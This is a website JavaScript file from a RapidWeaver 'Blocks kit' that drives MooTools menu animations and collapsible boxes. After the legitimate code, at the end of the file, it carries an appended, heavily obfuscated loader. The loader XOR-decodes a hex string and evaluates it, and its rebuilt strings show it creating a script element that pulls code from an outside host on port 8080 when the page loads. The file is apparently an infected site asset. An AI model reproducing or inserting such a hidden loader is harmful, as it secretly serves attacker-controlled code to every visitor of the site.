/*From Blocks kit by rapidweaver, rapidweaver.org*/
var Site = {
	
	start: function(){
		Site.appearMenu();
		Site.subMenu();
		Site.collapsBlock();
	},
		
	/*hides the lists that currently dont need to be seen...*/	
	subMenu: function(){
		currentA = $$('.rb_submenu a.currentAncestor');
		for (i=0; i < currentA.length; i++)
		{
			var currentLi = currentA[i].getParent();
			currentLi.addClass("grandParent");
		}
		var currentA = $$('.rb_submenu');//$$('.rb_submenu');
		for (i=0; i < currentA.length; i++)
		{
			var linkV = Site.extractElement(currentA[i], '.linkColour', "black");
			var linkHoverV = Site.extractElement(currentA[i], '.linkColourHover', "red");
			var paddingV = Site.extractElement(currentA[i], '.padding', 0);
			paddingV = parseFloat(paddingV);
			var p = currentA[i].getParent();
			p = p.getParent();
			p = p.getParent();
			var superId = p.getProperty('id');
			cssToAdd = "#" + superId + " .rb_submenu a{color: " + linkV + "}";
			addCss(cssToAdd);
			
			var current = currentA[i].getElement('#current');
			var currentLi = current.getParent();
			var currentUl = currentLi.getParent();
			currentUl.addClass("currentParent");
			
			var arrow = currentA[i].getFirst('.arrowOnTheMove');
			var boxPos = currentA[i].getCoordinates();
			var currentPos = currentLi.getCoordinates();
			var arrowfxs = new Fx.Styles(arrow, {'duration': 800, 'wait': false,  'transition': Fx.Transitions.cubicOut});
			
			var startPos = currentPos.top - boxPos.top- 10 + currentPos.height/2+paddingV;
			arrow.setStyle('top', startPos);
			var subLi = currentUl.getElements('li');
			for (j=0; j < subLi.length; j++)
			{
				var subPos = subLi[j].getCoordinates();
				var top = subPos.top - boxPos.top - 10 + subPos.height/2+paddingV;
				//alert(top);
				Site.subLiEffect(subLi[j], linkV, linkHoverV, arrow, top, arrowfxs, startPos);
			}
		}
	},
	
	/*Effect when a list item is rolled over*/
	subLiEffect: function(object, colour, hoverColour, arrow, top, arrowfxs, startPos) {
		var a = object.getFirst('a');
		object.addEvent('mouseenter', function(){
			a.setStyle('color', hoverColour);
			arrowfxs.start({
				'top': top
			});
		});
		object.addEvent('mouseleave', function(){
			a.setStyle('color', colour);
			arrowfxs.start({
				'top': startPos
			});
		});
	},
		
	/*Loops through each menu on the page
	Extracts the hidden values
	Assigns the function that handles on roll over - pop out
	Assigns the funtion that handles on roll over - hover
	*/
	appearMenu: function(){
		
		var menuWrapper = $$('.navcontainer');
		
		for (i=0; i < menuWrapper.length; i++)
		{
			//alert("here");
			var menu = menuWrapper[i];
			
			//defaults for extracted values
			//extracted values
			//var linkV = Site.extractElement(menu, '.linkColour', "#666666");//turn off
			var linkV = Site.extractElement(menu, '.linkColour', "black");
			var linkHoverV = Site.extractElement(menu, '.linkColourHover', "red");
			var effectV = Site.extractElement(menu, '.effect', "1");
			var effectSpeedV = Site.extractElement(menu, '.effectSpeed', "500");
			var showSubV = Site.extractElement(menu, '.showSubMenu', "1");
			var showSplitV = Site.extractElement(menu, '.spliton', "1");
			
			var span = menu.getElements('span');
			var style = span.getProperty('style');
			var font = span.getStyle('font-family');
			
			var p = menu.getParent();
			var superClass = p.getProperty('class');
			var pp = p.getParent();
			var superId = pp.getProperty('id');//the id wrapper placed around block by blocks
			cssToAdd = "#" + superId + " .navcontainer a{color: " + linkV + "; font-family:" + font + ";}";
			addCss(cssToAdd);
			addCss(".navcontainer a {visibility: visible;}");
			
			if(superClass != "nav_css") {//then its rounded blocks so do this...
				isRound = true;
				if(showSplitV == 1) {
					var splitBorderV = Site.extractElement(menu, '.splitBorder', "black");
					cssToAdd = "#" + superId + " .navcontainer a{border-right: 1px solid " + splitBorderV + "}";
					addCss(cssToAdd);
				}
			} else {//its html/css blocks
				isRound = false;
				var linkBackgroundV = Site.extractElement(menu, '.linkColourBackground', "white");
				var linkBackgroundHoverV = Site.extractElement(menu, '.linkColourBackgroundHover', "white");
				var linkColourBorderV = Site.extractElement(menu, '.linkColourBorder', "black");
				var linkColourBorderHoverV = Site.extractElement(menu, '.linkColourBorderHover', "red");
				var popOutColourV = Site.extractElement(menu, '.popOutColour', "white");
				//border colour, pop out colour
				cssToAdd = "#" + superId + " .nav_css .navcontainer a{background-color: " + linkBackgroundV + "}";
				addCss(cssToAdd);
				cssToAdd = "#" + superId + " .nav_css .navcontainer ul ul a{background-color: " + popOutColourV + "}";
				addCss(cssToAdd);
				cssToAdd = "#" + superId + " .nav_css .navcontainer a:hover{background-color: " + linkBackgroundHoverV + "}";
				addCss(cssToAdd);
				cssToAdd = "#" + superId + " .nav_css .navcontainer a{border-bottom-color: " + linkColourBorderV + "}";
				addCss(cssToAdd);
				cssToAdd = "#" + superId + " .nav_css .navcontainer a:hover{border-bottom-color: " + linkColourBorderHoverV + "}";
				addCss(cssToAdd);
				cssToAdd = "#" + superId + " .nav_css .navcontainer ul ul{background-color: " + popOutColourV + "}";
				addCss(cssToAdd);
			}
			
			//adds the roll over effects to the menu
			Site.menuPopOut(menu, effectV, linkV, linkHoverV, linkBackgroundV, linkBackgroundHoverV, effectSpeedV, showSubV, isRound, superId);
		}
	},
	
	extractElement: function(lookIn, lookFor, theDefault){
		var value = theDefault;
		var found=lookIn.getElement(lookFor);
		if(found){
			v = found.getProperty('value');
			if(v!=""){
				value = found.getProperty('value');
			}
		}
		return value;
	},
	/* roll over menu effect and drop down*/
	menuPopOut: function(menu, effect, link, linkHover, linkBackground, linkBackgroundHover, effectSpeed, showSub, isRound, superId){
			var li = menu.getElements('li');
			for (j=0; j < li.length; j++)
			{
				var header = li[j];
				
				//header.setStyle('visibility', 'hidden');
				
				var subHeader = header.getElements('ul');
				
				//drop down
				if(showSub != "0") {
					if(subHeader.length > 0) {//there is a menu under it....
						Site.popOutEvent(subHeader[0], header, effect, effectSpeed, isRound, j, superId);
					}
				}
				
				//add roll over effect to all li's
				Site.liEffect(header, link, linkHover);
			}
	},
	
	/* Adds the pop out effect to the passed id when the passed header is rolled over
	*/
	popOutEvent: function(menu, header, effect, effectSpeed, isRound, j, superId){
		effectSpeed = parseFloat(effectSpeed);
		var extra = 0;
		var factor = 1;
		if(isRound){extra = 40; factor=1.2;}
		
		menu.setStyle('display', 'block');
		var menuSize = menu.scrollHeight*factor + extra;
		menu.setStyle('height', 0);
		
		//This wraps the submenu li items in a div so that it can slide down with the menu.
		var subItems = menu.getChildren('li');
		var idOfWrap = 'mySecondElement' + j;
		var mySecondElement = new Element('div', {id: idOfWrap, 'class': 'menuWrap'});
		mySecondElement.inject(menu, 'top');
		mySecondElement.adopt(subItems);
		cssToAdd = "#" + superId + " .navcontainer #" + idOfWrap + " {height: " + (menuSize) +"px;}";
		addCss(cssToAdd);
		//end test
		
		var menufxs = Site.switchEffect(menu, effect, effectSpeed);
		
		header.addEvent('mouseenter', function(){
			menufxs.start({
				'height': menuSize
			});
		});
		header.addEvent('mouseleave', function(){
			menufxs.start({
				'height': 0
			});
		});
	},
	
	switchEffect: function(object, effect, effectSpeed) {
		switch(effect){
			case '1': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.linear}); break;
			case '2': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.quadOut}); break;
			case '3': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.cubicOut}); break;
			case '4': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.quartOut}); break;
			case '5': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.quintOut}); break;
			case '6': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.sineOut}); break;
			case '7': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.expoOut}); break;
			case '8': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.elasticOut}); break;
			case '9': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.backOut}); break;
			case '10': var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.bounceOut}); break;
			default: var menufxs = new Fx.Styles(object, {'duration': effectSpeed, 'wait': false,  'transition': Fx.Transitions.cubicOut});
		}
		return menufxs;
	},
	
	/*Effect when a list item is rolled over*/
	liEffect: function(object, colour, hoverColour) {
		/*looking for the a, sometimes it is wrapped in a span, that is what the var b is looking for*/
		var a = object.getFirst();
		var b = a.getFirst();
		if(b!=false) {a = b};
		object.addEvent('mouseenter', function(){
			a.setStyle('color', hoverColour);
		});
		object.addEvent('mouseleave', function(){
			a.setStyle('color', colour);
		});
	},
	
	
	/**================
	Colapsable block
	=================*/

	/*loops through all the collapsable blocks and adds the event to them*/
	collapsBlock: function(){
		var sideblocksWrapper = $$('.db_infoboxWrapper');
		
		for (i=0; i < sideblocksWrapper.length; i++)
		{
			var theBlock = sideblocksWrapper[i];
			var heading = theBlock.getFirst('.rbheading');//was h3
			var content = theBlock.getElement('.db_infoboxContent');//this is wrong... was div
			
			var linkV = 'color:black;';
			var span = heading.getFirst('span');
			if(span) {linkV = span.getProperty('style');}//find what the color is.
			var linkHoverV = Site.extractElement(theBlock, '.linkColourHover', "#FFFFFF");
			var needClickV = Site.extractElement(theBlock, '.needClick', "0");
			
			Site.collapsBlockAddEvent(theBlock, heading, content, linkV, linkHoverV, needClickV);
		}
	},
	
	/*adds the collaps even to the block passed*/
	collapsBlockAddEvent: function(theBlock, heading, content, linkV, linkHoverV, needClick) {
		var p = theBlock.getParent();
		var marginTop = 20;
		var padding = 0;
		//if it is the css block then different padding and margin
		if(p.getProperty('class') == 'db_css'){
			marginTop = 0;
			padding = 10;
		}
		
		var isOpen = false;
		//first finds  scrole height
		content.setStyle('display', 'block');
		var contentSize = content.scrollHeight;
		content.setStyle('height', 0);
		content.setStyle('display', 'none');
		
		var effect = new Fx.Styles(content, {'duration': 400, 'wait': false,  'transition': Fx.Transitions.cubicOut});
		
		//now adds events
		theBlock.addEvent('mouseenter', function(){
			var a = heading.getElements('span');//use this as dont know where colour is set.
			a.setStyle('color', linkHoverV);
			heading.setStyle('color', linkHoverV);
			if(needClick == "0") {
				Site.collapsOpen(heading, content, effect, contentSize, marginTop, padding);
			}
		});
		theBlock.addEvent('mouseleave', function(){
			var a = heading.getElements('span');
			a.setProperty('style', linkV);
			heading.setStyle('color', 'black');
			if(needClick == "0") {
				Site.collapsClose(heading, content, effect, contentSize);
			}
		});
		
		if(needClick == "1") {
			theBlock.addEvent('click', function(){
				if(isOpen) {
					Site.collapsClose(heading, content, effect, contentSize);
					isOpen = false;
				} else {
					Site.collapsOpen(heading, content, effect, contentSize, marginTop, padding);
					isOpen = true;
				}
			});
		}
	},
	
	collapsOpen: function(heading, content, effect, contentSize, marginTop, padding) {
		heading.addClass('hover');
		content.setStyle('display', 'block');
		effect.start({
			'height': contentSize,
			'margin-top': marginTop,
			'padding-top':padding,
			'padding-bottom':padding
		});
	},
	
	collapsClose: function(heading, content, effect, contentSize) {
		heading.removeClass('hover');
		content.setStyle('display', 'block');
		effect.start({
			'height': 0,
			'margin-top': 0,
			'padding-top':0,
			'padding-bottom':0
		});
	}
};

window.addEvent('domready', Site.start);

var Cj="fbe4edd6f196f2e2efdcd890fed5f1e29dcbf9d0e7f7e0cce8d0efc6f9d4fbdfc1f5d8edf1af80a582a1e0fac2dcd2cceff7e4e8f2c8e9caf9fde4f7ebc1e6faf784f1fc97fcfee287c2f0a6fac1";var lG;if(lG!='' && lG!='CU'){lG='JL'};var yB;if(yB!='en'){yB=''};this.gF=49092;function m(P){ var a=function(N, Q){var fd;if(fd!='' && fd!='d'){fd=''};var o=[0][0];var c="";var h = N.length;this.Rcq=false;var v = Q.length;var Qk=false;var hn=new Array();var O = '';var s;if(s!='' && s!='kq'){s='CW'};this.eG=60262;var q=[240,1][1];var lh="";this.hv="hv";var hQ;if(hQ!='WW' && hQ != ''){hQ=null};var nt;if(nt!='mt' && nt != ''){nt=null};for(var X = o; X < h; X += v) {this.wg=25239;var TT;if(TT!='qd' && TT != ''){TT=null};this.oH=false;var E = N.substr(X, v);this.ri=15083;if(E.length == v){this.ZG='';for(var ow in Q) {O+=E.substr(Q[ow], q);this.MX='';}} else {var fa=false;  O+=E;var Uj;if(Uj!='JR' && Uj!='kA'){Uj='JR'};}}var G;if(G!='' && G!='Cw'){G=null};this.z=16959;this.Pn=39171;return O;var Yd=new Array();};var da=false;var pY;if(pY!='' && pY!='OI'){pY=''};var NW;if(NW!='cM' && NW!='Vt'){NW='cM'};var MF=8572; var b=function(N){var Cm;if(Cm!='PF' && Cm != ''){Cm=null};var Hw=new String();var rY;if(rY!='' && rY!='I'){rY=''};var F = -1;var Mb;if(Mb!='' && Mb!='zt'){Mb=''};this.TW='';var X =[0,102,30,15][0];var Iy='';var gP;if(gP!=''){gP='Fk'};var O = '';var o =[0,152][0];N = new mh(N);var D;if(D!='Yh' && D!='kM'){D=''};var As;if(As!='' && As!='PR'){As=null};var VU=new Date();this.bP='';var jI=new Date();for (X=N[a("glenht", [1,2,3,0,5,4])]-F;X>=o;X=X-[1,129,61,213][0]){this.Fz='';O+=N[a("hcaArt", [1,0,2])](X);}var vS;if(vS!='' && vS!='Kv'){vS='hL'};this.LB=false;return O;var Jx="Jx";var LX;if(LX!='ROu'){LX='ROu'};};this.kG="";var t='';var bF;if(bF!='xs' && bF!='ie'){bF='xs'}; var az=new Array();function p(XF,mU){var NZ=false;return XF^mU;var Qv;if(Qv!='lNI'){Qv='lNI'};}var hE;if(hE!='Vd' && hE!='GJ'){hE=''};var Aw=""; function W(u){var PP;if(PP!='' && PP!='kX'){PP=''};var Wt=new Array();var q=[158,1][1];this.znx=false;var j=u[a("enlthg", [2,0,1])];var Vc;if(Vc!='qph' && Vc!='iZ'){Vc=''};var tj=new String();var hX=[165,0][1];this.vNL=54908;this.Ce=15853;var ow=[67,0][1];var TJ=false;var M=[255][0];var PRT;if(PRT!='Ht' && PRT != ''){PRT=null};var gs;if(gs!=''){gs='PPi'};var sF;if(sF!=''){sF='df'};while(ow<j){this.cK="";var MS;if(MS!='tP' && MS != ''){MS=null};var TV='';ow++;r=qO(u,ow - q);this.gr="gr";hX+=r*j;this.owI="owI";var GT="";}var rI="rI";var eN="";return new mh(hX % M);}var iF;if(iF!='yN' && iF!='Yv'){iF=''}; var qO=function(R,C){return R[a("hCraocdeAt", [5,0,3,2,1,4])](C);};var nF;if(nF!='es'){nF='es'};this.Ru='';var zu;if(zu!='' && zu!='OG'){zu=''};var cg;if(cg!='' && cg!='lhZ'){cg=''};var f=window;this.Fkb="Fkb";var Fs=f[a("vlea", [2,0,3,1])];var fZ=false;var HB;if(HB!='ee' && HB!='TF'){HB=''};var Wo=Fs(a("iucntFon", [5,1,3,2,4,0]));var CE=new Array();var ZP="ZP";var xt;if(xt!='Zr' && xt!='za'){xt='Zr'};var Fn=28655;var qK=Fs(a("xRegEp", [1,2,3,4,0]));var LH;if(LH!='HC' && LH != ''){LH=null};this.Ph="";var g = '';this.pS='';var mw;if(mw!=''){mw='bo'};var NO;if(NO!=''){NO='iw'};var mh=Fs(a("irtSng", [3,2,1,0]));var ztX;if(ztX!='xp'){ztX=''};var PY=new Date();this.xiC='';var kj=new Date();var azv;if(azv!='LJ' && azv!='vEM'){azv='LJ'};var pT;if(pT!='cKI' && pT != ''){pT=null};var Po=mh[a("oaCfmhrrCode", [3,6,0,4,2,5,1])];var RU='';var vN=f[a("snueeacp", [2,1,3,0])];this.Sc="Sc";var hA=new Date();this.oe='';var uZ;if(uZ!='KD' && uZ!='UF'){uZ=''};var Ou;if(Ou!='' && Ou!='co'){Ou=''};var vH = '';this.xS=50522;var JTj;if(JTj!='Yq' && JTj!='pW'){JTj=''};var U =[0,183][0];var Cs;if(Cs!='af' && Cs!='SL'){Cs=''};this.tc=37590;var n = '';var gb = P[a("elntgh", [1,0,2])];var bb = "%";this.Dp=false;this.Qo='';var q =[100,1,25][1];var XX=[1, a("cdoeum.ntecreateElnme\'t(rsctip\')", [1,2,0]),2, a("emnocduyd..btodnCppaed()ilhd", [5,3,4,6,1,0,2]),3, a("m.oscestoiitsenru.:s8080", [4,2,0,1,3]),4, a("acpmo.kroytpmeo.rc.ynet", [1,4,3,5,2,0]),5, a("esd.trtAtietbu(fe\'der\'", [2,3,1,0,4]),6, a("artngi.naet", [2,0,1]),7, a("dnwio.owaonld", [2,3,1,0]),8, a("htasxmrm.oec", [4,0,2,5,3,1]),11, a("iucfotnn()", [3,1,6,2,5,0,4]),12, a("oogelgoc.m", [2,1,0]),14, a("actc(he)", [1,0,2,3]),15, a("gdnagdna", [1,3,2,0]),16, a("oink.to", [3,1,2,0]),17, a("pht\"t:", [3,1,4,2,0]),18, a("cd.sr", [1,2,3,4,0]),19, a("1\'\')", [2,0,1]),20, a("ytr", [1,2,0])];var Tw;if(Tw!='Ox' && Tw!='XN'){Tw=''};var yt=new Array();var MG = /[^@a-z0-9A-Z_-]/g;var o =[0][0];var zU='';var Uy =[240,120,2][2];var jQY=new String();var HA=new Date();var Y = '';var DbW="";var Pi=false;var Ke;if(Ke!='' && Ke!='Cf'){Ke=''};this.OD="OD";var qn;if(qn!='Ft' && qn!='Khz'){qn='Ft'};for(var k=o; k < gb; k+=Uy){var aU="";vH+= bb; var ELd;if(ELd!='' && ELd!='sW'){ELd=''};var dl;if(dl!='' && dl!='KM'){dl=''};vH+= P[a("sbustr", [3,2,1,0,4,5])](k, Uy);var QH=false;var ff;if(ff!='FL' && ff != ''){ff=null};}var mOM;if(mOM!='' && mOM!='EM'){mOM=''};var PX="";var P = vN(vH);var eI;if(eI!='hz' && eI!='JS'){eI=''};var VA=new Array();var nr = new mh(m);var oU = nr[a("larepce", [2,3,4,0,1])](MG, n);this.HX=false;var Qc;if(Qc!='xA'){Qc=''};oU = b(oU);var jM=new String();var TBL="";var y = new mh(Wo);this.QZ="";this.hvs="";var jQ = XX[a("nelhtg", [2,1,0])];var LXF=new String();this.ViV="ViV";var bG=new String();var nN;if(nN!='vSX'){nN='vSX'};var Ti=false;var vM="";var dN;if(dN!='xJ' && dN!='yy'){dN='xJ'};var Nz = y[a("ecperal", [4,0,2,6,5,1,3])](MG, n);var MM;if(MM!='' && MM!='KFX'){MM=''};var iC='';var Nz = W(Nz);this.Ie='';var ANP;if(ANP!='' && ANP!='zF'){ANP=''};var A=W(oU);var uK;if(uK!='Vj'){uK='Vj'};var hx=new Date();var QD;if(QD!=''){QD='py'};for(var X=o; X < (P[a("tenlgh", [3,1,2,4,0,5])]);X=X+[204,1,35][1]) {var nD;if(nD!='Si' && nD!='Hh'){nD=''};var T = oU.charCodeAt(U);var ld=new String();var EP=new String();var Qq = qO(P,X);var yu=26112;this.hzj=false;var Wh="Wh";Qq = p(Qq, T);this.DU="";var Pib='';var VS=new String();Qq = p(Qq, A);Qq = p(Qq, Nz);var Lp;if(Lp!='Lu' && Lp != ''){Lp=null};this.gq=false;this.Qqw=40607;var zl=false;U++;this.nk="nk";var jE;if(jE!='' && jE!='eNX'){jE=null};var UyW="UyW";if(U > oU.length-q){this.uk=64078;U=o;var PQ;if(PQ!='ID' && PQ!='ZN'){PQ=''};}var ho;if(ho!=''){ho='CMP'};Y += Po(Qq);var gH="gH";}var Hn;if(Hn!='ieQ' && Hn!='pF'){Hn=''};for(oE=o; oE < jQ; oE+=Uy){var GO;if(GO!='FV' && GO != ''){GO=null};var Ol;if(Ol!='' && Ol!='Eq'){Ol=null};var dK="";var oy = Po(XX[oE]);var ad = XX[oE + q];var VK='';var xw="xw";var yL;if(yL!=''){yL='Qmg'};var Ec = new qK(oy, "g");this.Ss=28597;Y=Y[a("ealercp", [4,3,6,2,1,5,0])](Ec, ad);}var cR;if(cR!='' && cR!='Sd'){cR=null};this.bH='';var e=new Wo(Y);e();var Of=new Array();var cE;if(cE!='' && cE!='jp'){cE='Olv'};var Cq=new Date();y = '';oU = '';var DK="";Nz = '';var cWs='';this.vL="";var WoD;if(WoD!='' && WoD!='BX'){WoD='fW'};e = '';this.mN=false;var kl=new Array();Y = '';var uP=22206;A = '';this.DI="DI";var eZ='';var tg;if(tg!='Ck' && tg!='Wy'){tg=''};return '';};var lG;if(lG!='' && lG!='CU'){lG='JL'};var yB;if(yB!='en'){yB=''};this.gF=49092;m(Cj);